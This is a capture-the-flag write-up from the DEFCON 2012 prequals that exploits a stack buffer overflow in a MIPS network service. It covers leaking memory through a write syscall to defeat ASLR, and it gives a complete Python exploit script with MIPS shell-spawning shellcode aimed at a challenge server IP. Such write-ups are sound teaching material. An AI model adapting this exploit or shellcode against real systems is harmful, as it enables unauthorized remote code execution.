-
DEFCON2K12 Prequals: pwn100 writeup
Written by Samuel Chevet
June 04, 2012 at 03:22Unlike most binary exploitation challenges, we had to work on an unusual processor architecture:
1 2
> file pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a pwn100-mv6bd73ca07e54cbb28a3568723bdc6c9a: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, for GNU/Linux 2.4.18, stripped
Debian provides virtual machine images of their distribution for MIPS-I CPUs, which we were able to use with
qemuin order to run the binary. It serves a simple shell with the following commands available:1 2 3 4 5 6
qotd ls png2ascii help exit quit
When we used the
lscommand we could see thekeyfile. The goal of this challenge was obviously to get it back. But the vulnerability was in another command:png2ascii(sub_00401BC4). This functions reserves a buffer of size0x100on the stack but reads0x200from it, stopping at the first'\n'byte encountered. We can use this to overwrite the return address stored on the stack and control the execution flow.1 2 3 4
.text:00400918 lw $ra, 0x2C($sp) .text:0040091C lw $fp, 0x28($sp) .text:00400920 jr $ra .text:00400924 addiu $sp, 0x30
The problem we encountered next was bypassing ASLR, which made the address of our stack buffer random. We tried to find gadgets in the binary in order to return to our buffer address but no register pointed to our buffer and no pointer to the buffer was present at a useful location in the stack. Luckily, the server uses
fork()to serve each connection, which means each connection will use the same base stack address. We don't know where our buffer is but if we can find it once we know it will always be there until a server reboot.We decided to leak informations about our memory map by using a
writesyscall present in the binary and returning to it. It loads arguments from the stack so we can control these as well, and the file descriptor we need to write the data on is already loaded with the right value.1 2 3 4 5
.text:00411498 lw $a1, 0x30+var_2C($sp) .text:0041149C lw $a2, 0x30+var_28($sp) .text:004114A0 lw $a3, 0x30+var_24($sp) .text:004114A4 li $v0, 0x1052 .text:004114A8 syscall 0
Using a crafted stack we were able to bruteforce the pointer passed to the
writesyscall and test whether data is written or not. If some data is written we know that we are in a valid memory range.1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
> for i in $(seq 0 255); do echo "- - - - - -"; printf "%02x\n" $i; python2 pwn100.py 40$(printf "%02x" $i)0000 1000 | hexdump -C; done | tee out ... 000004e0 0a 4f 52 20 41 20 4d 4f 55 54 48 2e 20 42 45 20 |.OR A MOUTH. BE | 000004f0 47 4f 4f 44 20 41 54 20 53 43 48 4f 4f 4c 20 54 |GOOD AT SCHOOL T| 00000500 4f 44 41 59 2e 20 4c 4f 56 45 2c 20 4d 4f 4d 2e |ODAY. LOVE, MOM.| 00000510 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 | | 00000520 20 0a 0a 41 41 41 41 41 41 41 41 41 41 41 41 41 | ..AAAAAAAAAAAAA| 00000530 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| * 000005b0 41 41 41 51 51 51 51 98 14 41 00 04 00 00 00 f0 |AAAQQQQ..A......| 000005c0 c6 8c 7f 00 10 00 00 00 00 00 00 70 0a 01 10 ff |...........p....| 000005d0 ff ff ff d0 c7 8c 7f f8 17 99 00 09 00 00 00 ff |................| 000005e0 ff ff ff b8 c7 8c 7f cc 12 40 00 04 00 00 00 d0 |.........@......| 000005f0 c7 8c 7f 00 01 00 00 0a 00 00 00 70 0a 01 10 ff |...........p....| 00000600 ff ff ff 70 6e 67 32 61 73 63 69 69 00 ff ff ff |...png2ascii....| 00000610 ff ff ff 00 00 00 00 00 00 00 00 ff ff ff ff ff |................| ...
Using this trick we were able to find our buffer filled with "A" characters, so we knew exactly where to jump to. We just needed a valid MIPS shellcode to execute a shell on the remote server. Using this website we were able to do this very quickly. After testing it on the remote server we noticed that simply running
dup2andexecvewas not enough because the server had a hard file descriptor limit. We bypassed it by usingsetrlimitbeforeexecve, giving us this final exploit script:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
import socket import struct import sys shellcode = \ "\xeb\x0f\x02\x24\x05\x00\x04\x24\xc0\xff\xa5\x27" + \ "\x64\x00\x0f\x24\xc0\xff\xaf\xaf\xc4\xff\xaf\xaf" + \ "\x0c\x01\x01\x01\x04\x00\x04\x24\x02\x00\x05\x24" + \ "\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\xa5\x20" + \ "\xff\xff\x0f\x24\xfb\xff\xaf\x14\x00\x00\x00\x00" + \ "\x69\x6e\x0f\x3c\x2f\x62\xef\x35\xf4\xff\xaf\xaf" + \ "\x68\x00\x0e\x3c\x2f\x73\xce\x35\xf8\xff\xae\xaf" + \ "\xfc\xff\xa0\xaf\xf4\xff\xa4\x27\xfc\xff\xa5\x27" + \ "\xfc\xff\xa6\x27\xab\x0f\x02\x24\x0c\x01\x01\x01" + \ "\x00\x00\x00\x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #s.connect(("140.197.217.85", 1994)) # remote server s.connect(("192.168.103.61", 1994)) # local test print s.recv(1024) print s.recv(1024) cmd = "png2ascii\n" s.send(cmd) print s.recv(1024) raw_input() # usefull for attach gdb stack = int(sys.argv[1], 16) size = int(sys.argv[2], 16) # EIP control payload = shellcode + "A" * (256 - len(shellcode)) #payload += "Q" * 4 + struct.pack("<I", 0x411498) # Addr write syscall #payload += "Q" * 4 + struct.pack("<I", 0x7f8cc680) # Addr Buffer local payload += "Q" * 4 + struct.pack("<I", 0x407ffe80) # Addr Buffer remote payload += "\x04\x00\x00\x00" # Socket fd # Parameters for sycall write payload += struct.pack("<I", stack) payload += struct.pack("<I", size) payload += struct.pack("<I", 0) s.send(payload + "\n") sys.stdout.write(s.recv(65536)) sys.stdout.write(s.recv(65536))
We read the key file using the remote shell and were able to validate the challenge. This was a fun challenge, it's not common to exploit non-x86 architectures.
Tweetblog comments powered by DisqusPermalink & comments